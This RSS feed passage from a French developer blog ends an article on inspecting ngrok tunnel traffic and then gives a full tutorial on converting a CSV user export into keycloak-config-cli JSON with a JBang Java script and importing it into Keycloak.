&lt;p&gt;Il existe différents outils à notre disposition pour suivre les différents échanges.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;mode_console&quot;&gt;mode console&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons simplement regarder la console, les différents appels sont visibles.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;...
Connections                   ttl     opn     rt1     rt5     p50     p90
                              41      0       0.08    0.08    0.31    30.40

HTTP Requests
-------------

GET /resources/img/main/astuce.png                       200 OK
GET /resources/css/phlat.css                             200 OK
GET /resources/js/readingTime.js                         200 OK
GET /resources/css/phlat-custom.css                      200 OK
GET /resources/img/blog/2021/05/ngrok-par-navigateur.png 200 OK
GET /resources/img/main/avertissement.png                200 OK
GET /resources/js/bootstrap.min.js                       200 OK
GET /resources/js/jquery-2.2.1.min.js                    200 OK
GET /resources/js/highlight.min.js                       200 OK
GET /resources/img/blog/2021/05/ngrok-authtoken.png      200 OK&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;mode_web&quot;&gt;mode web&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En lançant le client, nous avons une interface web à notre disposition pour visualiser les appels et tous les détails :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;le temps d&amp;#8217;accès&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Informations sur la requête (résumé, en-tête, brut et binaires)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Informations sur la réponse (résumé, en-tête, brut et binaires)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;accès est sur le port 4040 par défaut. Pour être sûr, l&amp;#8217;url est affichée dans la console lors du démarrage du module client.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenez votre navigateur et allez à l&amp;#8217;url &lt;a href=&quot;http://localhost:4040&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://localhost:4040&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/05/ngrok-moniteur-4040.png&quot; alt=&quot;ngrok moniteur 4040&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Un onglet status est disponible. Cela permet d&amp;#8217;avoir des métriques.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;console_ngrok&quot;&gt;console ngrok&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sur la console &lt;a href=&quot;https://ngrok.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ngrok.com&lt;/a&gt;, il est possible de voir la liste des points d&amp;#8217;entrée disponible.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors de mon test, nous pouvons voir que nous avons deux points d&amp;#8217;entrée actifs : Le premier en &lt;strong&gt;http&lt;/strong&gt; et le second en &lt;strong&gt;https&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/05/ngrok-liste-endpoint.png&quot; alt=&quot;ngrok liste endpoint&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://ngrok.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Site Web de l&amp;#8217;outil&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://search.google.com/search-console/about&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Google Console Search&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Comment importer facilement des utilisateurs Keycloak avec JBang</title>
      <link>https://www.lilian-benoit.fr/2021/05/Jbang-Keycloak-cie.html</link>
      <pubDate>dim., 2 mai 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/05/Jbang-Keycloak-cie.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#cest_parti&quot;&gt;C&amp;#8217;est parti !&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#lecture_du_fichier_dentrée&quot;&gt;Lecture du fichier d&amp;#8217;entrée&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#ecriture_du_fichier_de_sortie&quot;&gt;Ecriture du fichier de sortie&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#configuration_de_loutil&quot;&gt;Configuration de l&amp;#8217;outil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exécution&quot;&gt;Exécution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation_loutil_keycloak_config_cli&quot;&gt;Utilisation l&amp;#8217;outil Keycloak-Config-Cli&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lorsque nous mettons en place un nouveau système, il est souvent nécessaire d&amp;#8217;effectuer une reprise. les exports disponibles sont très souvent un fichier xls ou csv.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La sécurité ne déroge pas à la règle. Nous allons étudier dans ce billet l&amp;#8217;importation des utilisateurs lors de la mise à en place de la solution &lt;a href=&quot;https://www.keycloak.org&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Keycloak&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Bien que &lt;a href=&quot;https://www.keycloak.org&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Keycloak&lt;/a&gt; possède une API REST Admin, nous allons passé par un outil de la communauté Keycloak : &lt;a href=&quot;https://github.com/adorsys/keycloak-config-cli/&quot;&gt;keycloak-config-cli&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;C&amp;#8217;est donc un outil non officiel de Keycloak mais il est très pratique. Cela permet de réaliser de la &quot;Configuration as Code for Keycloak&quot;. C&amp;#8217;est à dire qu&amp;#8217;à partir d&amp;#8217;un fichier de configuration yaml ou json, il est possible de configurer complètement Keycloak.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;En effet, Keycloak est très configurable avec beaucoup d&amp;#8217;options de configuration. Si la configuration est faite manuellement, cela peut amener des configurations différentes entre les environnements et produire des problèmes. Le fait que cela soit dans un fichier de configuration, nous pouvons ainsi nous assurer de reproduire la même configuration sur l&amp;#8217;ensemble des environnements.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons utiliser seulement la partie concernant la configuration des utilisateurs pour réaliser l&amp;#8217;importation. Le fichier doit avoir le format suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;{
  &quot;enabled&quot;: true,
  &quot;realm&quot;: &quot;realmWithUsers&quot;,
  &quot;users&quot;: [
    {
      &quot;username&quot;: &quot;moi&quot;,
      &quot;email&quot;: &quot;prenom.nom@mail.fr&quot;,
      &quot;enabled&quot;: true,
      &quot;firstName&quot;: &quot;mon prenom&quot;,
      &quot;lastName&quot;: &quot;mon nom&quot;
    }
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Coté export des utilisateurs, nous avons un fichier csv ayant les colonnes suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;User Login&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;User Email&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;First Name&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Last Name&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;cest_parti&quot;&gt;C&amp;#8217;est parti !&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons besoin de générer un fichier &lt;strong&gt;json&lt;/strong&gt; à partir du fichier &lt;strong&gt;csv&lt;/strong&gt;. Nous pourrions passer par un script bash ou un batch Java. Finalement, j&amp;#8217;ai opté pour &lt;a href=&quot;https://www.jbang.dev/&quot;&gt;&lt;strong&gt;jbang&lt;/strong&gt;&lt;/a&gt;. L&amp;#8217;occasion de le mettre à l&amp;#8217;épreuve dans un cas d&amp;#8217;usage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Si vous ne connaissez pas cet outil, je vous invite à lire mon article précédent sur le sujet &lt;a href=&quot;/2021/03/JBang-Script-en-java.html&quot;&gt;JBang, Script en java&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous initialisons notre script avec le commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jbang init -t cli UsersCSVtoKeycloakJSON.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;lecture_du_fichier_dentrée&quot;&gt;Lecture du fichier d&amp;#8217;entrée&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous commençons par lire le fichier en utilisant le schéma &lt;code&gt;try-with-resource&lt;/code&gt;.
Nous utilisons aussi l&amp;#8217;API NIO pour récupérer l&amp;#8217;instance &lt;code&gt;BufferedReader&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Path csvFichier = Path.of(fichier.getAbsolutePath());
try (BufferedReader breader = Files.newBufferedReader(csvFichier, StandardCharsets.UTF_8)) {
  ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est possible à partir d&amp;#8217;un &lt;code&gt;BufferedReader&lt;/code&gt; de lire un fichier en utilisant les flux (&quot;Stream&quot;).
Il en découle le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;  utilisateurs = breader.lines() //&lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
                        .skip(1) //&lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
                        .map(ligne -&amp;gt; ligne.split(&quot;;&quot;)) //&lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;
                        .filter(colonnes -&amp;gt; colonnes.length &amp;gt;= 4) //&lt;b class=&quot;conum&quot;&gt;(4)&lt;/b&gt;
                        .map(colonnes -&amp;gt; { //&lt;b class=&quot;conum&quot;&gt;(5)&lt;/b&gt;
                            String login = colonnes[0];
                            String email = colonnes[1];
                            String prenom = colonnes[2];
                            String nom = colonnes[3];
                            return new Utilisateur(login, nom, prenom, email);
                        })
                        .filter(Utilisateur::isEmailValide) &lt;b class=&quot;conum&quot;&gt;(6)&lt;/b&gt;
                        .collect(Collectors.toList()); &lt;b class=&quot;conum&quot;&gt;(7)&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Lecture du fichier via un flux (&quot;stream&quot;) : &lt;code&gt;Stream&amp;lt;String&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permet d&amp;#8217;ignorer la ligne contenant l&amp;#8217;en-tête du fichier csv&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permet de découper chaque ligne avec le séparateur, on obtient &lt;code&gt;Stream&amp;lt;String[]&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vérification que la ligne est valide avec au moins 4 colonnes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Récupération des colonnes pour créer une instance d&amp;#8217;Utilisateur : &lt;code&gt;Stream&amp;lt;Utilisateur&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vérification que l&amp;#8217;adresse mail est valide&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Collecte du flux en une liste d&amp;#8217;utilisateurs : &lt;code&gt;List&amp;lt;Utilisateur&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant que les enregistrements sont disponibles. Profitons-en.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Utilisateur(String login, String nom, String prenom, String email) {
    Utilisateur {
        login = login.trim().toLowerCase(); // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt; &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
        nom = nom.trim(); // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
        prenom = prenom.trim(); // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
        email = email.trim(); // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    }

    boolean isEmailValide() { //&lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;
        return this.email().length() &amp;gt; 1;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Suppression des espaces superflus devant et derrière. (Réaffectation du composant)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le nom d&amp;#8217;utilisateur sur Keycloak est forcément en minuscule. Nous protégeons en conséquence.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Définition d&amp;#8217;une méthode pour valider que l&amp;#8217;adresse mail est correcte. (Nous pourrions augmenter les tests)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;ecriture_du_fichier_de_sortie&quot;&gt;Ecriture du fichier de sortie&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme nous avons pu le voir plus haut, nous pouvons décomposé le fichier de sortie en 3 parties :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Un bloc pour l&amp;#8217;en-tête&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un bloc pour chaque utilisateur&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un bloc pour le pied du fichier&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les &lt;a href=&quot;/2020/09/Text_Blocks.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Blocs de textes&lt;/a&gt; sont super pratiques pour cela :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public static String DEBUT_FICHIER_JSON = &quot;&quot;&quot;
        {
            &quot;enabled&quot;: true,
            &quot;realm&quot;: &quot;%s&quot;,
            &quot;users&quot;: [
        &quot;&quot;&quot;;

public static String UTILISATEUR_ENTREE = &quot;&quot;&quot;
            {
                &quot;username&quot;: &quot;%s&quot;,
                &quot;email&quot;: &quot;%s&quot;,
                &quot;enabled&quot;: true,
                &quot;firstName&quot;: &quot;%s&quot;,
                &quot;lastName&quot;: &quot;%s&quot;
            }
    &quot;&quot;&quot;;

public static String FIN_FICHIER_JSON = &quot;&quot;&quot;
            ]
        }
        &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Les blocs sont clairs sans caractère parasite et c&amp;#8217;est appréciable.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; En jouant sur l&amp;#8217;emplacement des 3 guillemets fermants, nous pouvons ainsi générer un fichier correctement indenté. (même si cela est surtout pour nous).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Globalement, le principe est simple avec un parcours des utilisateurs lus précédemment :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (BufferedWriter buffer = Files.newBufferedWriter(jsonFichier,
        StandardCharsets.UTF_8,
        StandardOpenOption.CREATE)) { // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    ...
    buffer.append(String.format(DEBUT_FICHIER_JSON, nomRoyaume)); // &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
    for (Utilisateur u : utilisateurs) { // &lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;
        ...
        buffer.append(String.format(UTILISATEUR_ENTREE, u.login(), u.email(),
          u.prenom(), u.nom())); // &lt;b class=&quot;conum&quot;&gt;(4)&lt;/b&gt;
    }
    buffer.append(FIN_FICHIER_JSON); // &lt;b class=&quot;conum&quot;&gt;(5)&lt;/b&gt;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Ouverture du fichier&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ecriture du bloc d&amp;#8217;en-tête du fichier&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Boucle pour chaque utilisateur&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ecriture du bloc utilisateur pour l&amp;#8217;utilisateur courant&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ecriture du bloc de fin de fichier&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il ne reste plus à traiter la virgule entre chaque bloc utilisateur avec la particularité du premier utilisateur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (premier) {
    premier = false;
} else {
    buffer.append(&quot;        ,\n&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;configuration_de_loutil&quot;&gt;Configuration de l&amp;#8217;outil&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ayant sélectionné le modèle cli, nous avons la librairie picocli. Nous pouvons en profiter pour rajouter les 3 options suivantes à notre outil :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nom du fichier CSV d&amp;#8217;entrée&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nom du fichier JSON de sortie&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nom du royaume (&quot;realm&quot;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;  @Option(names = { &quot;-r&quot;, &quot;--realmName&quot; }, required = true, paramLabel = &quot;ROYAUME&quot;, description = &quot;Nom du royaume&quot;)
  String nomRoyaume; // realmName

  @Option(names = { &quot;-f&quot;, &quot;--file&quot; }, required = true, paramLabel = &quot;FICHIER&quot;, description = &quot;Fichier CSV d&apos;entrée&quot;)
  File fichier;

  @Option(names = { &quot;-o&quot;,
          &quot;--output&quot; }, required = true, paramLabel = &quot;FICHIER&quot;, description = &quot;Fichier JSON de sortie&quot;)
  File sortie;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et voilà, le tour est joué.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Le &lt;a href=&quot;https://github.com/lilian-benoit/scripts-keycloak/tree/billet-fr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Script Complet: UsersCSVtoKeycloakJSON.java&lt;/a&gt; est disponible sur github.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exécution&quot;&gt;Exécution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons exécuter notre script.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Utilisant les enregistrements, il faudra utiliser un JDK 16 (ou 15 avec --enable-preview). Sinon, il faudra passer par une classe (moins élégant).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jbang UsersCSVtoKeycloakJSON.java  --file tests-users.csv --output tests-users.json --realmName test&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;ou directement&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./UsersCSVtoKeycloakJSON.java  --file tests-users.csv --output tests-users.json --realmName test&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation_loutil_keycloak_config_cli&quot;&gt;Utilisation l&amp;#8217;outil Keycloak-Config-Cli&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant que nous avons généré le fichier &lt;strong&gt;tests-users.json&lt;/strong&gt; avec notre script, nous allons pouvoir utiliser l&amp;#8217;outil &lt;strong&gt;keycloak-config-cli&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java -jar keycloak-config-cli-12.0.4.jar --keycloak.url=https://&amp;lt;mon_serveur_keycloak&amp;gt;/auth --keycloak.ssl-verify=false --keycloak.user=&amp;lt;compte_admin&amp;gt; --keycloak.password=&amp;lt;password&amp;gt; --import.path=./users.json&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A vous de jouer ! N&amp;#8217;hésites pas à me faire un retour sur ce billet via les commentaires ou twitter.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.keycloak.org&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Projet Keycloak&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
